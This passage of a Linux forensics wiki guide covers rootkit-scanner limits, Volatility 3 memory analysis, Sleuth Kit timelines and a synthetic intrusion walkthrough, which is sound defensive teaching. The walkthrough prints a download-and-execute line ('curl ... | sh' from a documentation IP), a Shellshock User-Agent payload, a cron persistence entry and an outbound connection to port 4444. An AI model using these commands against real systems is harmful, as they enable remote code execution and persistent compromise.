&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
